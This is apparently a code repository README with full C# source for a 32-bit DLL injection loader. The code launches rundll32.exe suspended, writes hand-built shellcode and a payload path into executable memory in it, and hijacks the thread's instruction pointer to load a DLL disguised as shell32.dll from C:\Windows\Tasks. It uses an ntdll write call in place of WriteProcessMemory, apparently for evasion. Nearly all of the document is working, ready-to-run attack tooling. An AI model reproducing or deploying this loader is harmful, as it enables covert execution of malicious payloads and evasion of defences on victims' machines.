/DLLloaderCS

Load 32bit .DLL payload fra C#

DLLloaderCS

Load 32bit .DLL payload from C# (experimental) only works when compiled to 32bit, payload must be 32bit also (unmanaged code) This startes rundll32 in suspended mode and inject .DLL payload shell32.dll

Execution: rundll32 DllLoader.dll,exec

DllLoader.cs:

using System;
using System.Security;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Runtime.ConstrainedExecution;
using System.Management;
using System.Security.Principal;
using System.Collections.Generic;
using System.ComponentModel;
using System.Security.Permissions;
using Microsoft.Win32.SafeHandles;
using System.Linq;
using System.Reflection;
using System.Security.AccessControl;
using System.Text;
using System.Threading;


public class Code
{

      public struct STARTUPINFO
      {
          public int cb;
          public string lpReserved;
          public string lpDesktop;
          public string lpTitle;
          public int dwX;
          public int dwY;
          public int dwXSize;
          public int dwYSize;
          public int dwXCountChars;
          public int dwYCountChars;
          public int dwFillAttribute;
          public int dwFlags;
          public short wShowWindow;
          public short cbReserved2;
          public int lpReserved2;
          public IntPtr hStdInput;
          public IntPtr hStdOutput;
          public IntPtr hStdError;
      }

      public struct PROCESS_INFORMATION
      {
          public IntPtr hProcess;
          public IntPtr hThread;
          public int dwProcessId;
          public int dwThreadId;
      }

      [StructLayout(LayoutKind.Sequential)]
      public struct FLOATING_SAVE_AREA
      {
      public uint ControlWord;
      public uint StatusWord;
      public uint TagWord;
      public uint ErrorOffset;
      public uint ErrorSelector;
      public uint DataOffset;
      public uint DataSelector;
      [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
      public byte[] RegisterArea;
      public uint Cr0NpxState;
      }

      public enum PAGE_EXECUTE_ENUM
      {
          PAGE_EXECUTE_READ = 0x20,
          PAGE_EXECUTE_READWRITE = 0x40
      }

      [StructLayout(LayoutKind.Sequential)]
      public struct CONTEXT
      {
           public uint ContextFlags; //set this to an appropriate value
           // Retrieved by CONTEXT_DEBUG_REGISTERS
           public uint Dr0;
           public uint Dr1;
           public uint Dr2;
           public uint Dr3;
           public uint Dr6;
           public uint Dr7;
           // Retrieved by CONTEXT_FLOATING_POINT
           public FLOATING_SAVE_AREA FloatSave;
           // Retrieved by CONTEXT_SEGMENTS
           public uint SegGs;
           public uint SegFs;
           public uint SegEs;
           public uint SegDs;
           // Retrieved by CONTEXT_INTEGER
           public uint Edi;
           public uint Esi;
           public uint Ebx;
           public uint Edx;
           public uint Ecx;
           public uint Eax;
           // Retrieved by CONTEXT_CONTROL
           public uint Ebp;
           public uint Eip;
           public uint SegCs;
           public uint EFlags;
           public uint Esp;
           public uint SegSs;
           // Retrieved by CONTEXT_EXTENDED_REGISTERS
           [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
           public byte[] ExtendedRegisters;
      }

      public const int CREATE_SUSPENDED = 0x00000004;
      public const UInt32 MEM_COMMIT = 0x00001000;
      public const UInt32 CONTEXT_i386 = 0x00010000;
      public const UInt32 CONTEXT_CONTROL = CONTEXT_i386 | 0x00000001;

      [DllImport("kernel32")]
      public static extern IntPtr LoadLibrary(string lpLibFileName);

      [DllImport("kernel32")]
      public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

      [DllImport("kernel32", EntryPoint = "VirtualAllocEx")]
      public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, PAGE_EXECUTE_ENUM flProtect);

      [DllImport("kernel32", EntryPoint = "GetThreadContext")]
      public static extern int GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);

      [DllImport("kernel32")]
      public static extern Int32 WriteProcessMemory(IntPtr hProcess, IntPtr lpBassAddress, byte[] lpBuffer, Int32 nSize, IntPtr lpNumberOfBytesRead);

      [DllImport("ntdll.dll")]
      private static extern bool NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, ulong dwSize, out IntPtr lpNumberOfBytesWritten);

      [DllImport("kernel32", EntryPoint = "SetThreadContext")]
      public static extern int SetThreadContext(IntPtr hThread, ref CONTEXT lpContext);

      [DllImport("kernel32", EntryPoint = "ResumeThread")]
      public static extern int ResumeThread(IntPtr hThread);

      [DllImport("kernel32", EntryPoint = "CreateProcess")]
      public static extern int CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDriectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);

    public static void exec()
    {
        string PayloadPath = "C:\\Windows\\System32\\rundll32.exe";
        string Payload = "C:\\Windows\\Tasks\\shell32.dll";
        byte [] sc = new byte [32] { 96, 156, 104, 0, 0, 0, 0, 232, 0, 0, 0, 0, 157, 97, 233, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
        IntPtr hProcess = IntPtr.Zero;
        IntPtr hThread = IntPtr.Zero;
        IntPtr hModule = IntPtr.Zero;
        IntPtr LoadLibraryAddress = IntPtr.Zero;
        hModule = LoadLibrary("Kernel32.dll");
        LoadLibraryAddress = GetProcAddress(hModule, "LoadLibraryA");
        CONTEXT context = new CONTEXT();
        Byte[] Payloadbin = Encoding.Default.GetBytes(Payload);
        STARTUPINFO StartupInfo = new STARTUPINFO();
        PROCESS_INFORMATION ProcessInformation = new PROCESS_INFORMATION();
        int result = CreateProcess( null, PayloadPath, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, System.IO.Path.GetDirectoryName(PayloadPath), ref StartupInfo, ref ProcessInformation);
        hProcess = ProcessInformation.hProcess;
        hThread = ProcessInformation.hThread;
        context.ContextFlags = CONTEXT_CONTROL;
        GetThreadContext(hThread, ref context);
        Int32 dwSize = 1024;
        IntPtr AllocMemory = VirtualAllocEx(hProcess, IntPtr.Zero, dwSize, MEM_COMMIT, PAGE_EXECUTE_ENUM.PAGE_EXECUTE_READWRITE);
        IntPtr data1 = IntPtr.Add(AllocMemory, 256);
        Byte[] tmp = BitConverter.GetBytes(data1.ToInt32());
        Int32 Idx = 3;
        Array.Copy(tmp, 0, sc, Idx, 4);
        Int32 data2 = (Int32)LoadLibraryAddress - (AllocMemory.ToInt32() + 12);
        tmp = BitConverter.GetBytes(data2);
        Idx = 8;
        Array.Copy(tmp, 0, sc, Idx, 4);
        data2 = (int)context.Eip - (AllocMemory.ToInt32() + 19);
        tmp = BitConverter.GetBytes(data2);
        Idx = 15;
        Array.Copy(tmp, 0, sc, Idx, 4);
        //WriteProcessMemory(hProcess, AllocMemory, sc, sc.Length, IntPtr.Zero);   <-- this works too
        IntPtr bytesWritten;
        NtWriteVirtualMemory(hProcess, AllocMemory, sc, (ulong)sc.Length, out bytesWritten);
        //WriteProcessMemory(hProcess, IntPtr.Add(AllocMemory, 256), Payloadbin, Payloadbin.Length, IntPtr.Zero);  <-- this works too
        NtWriteVirtualMemory(hProcess, IntPtr.Add(AllocMemory, 256), Payloadbin, (ulong)Payloadbin.Length, out bytesWritten);
        context.Eip = (UInt32)AllocMemory;
        SetThreadContext(hThread, ref context);
        ResumeThread(hThread);
  }
}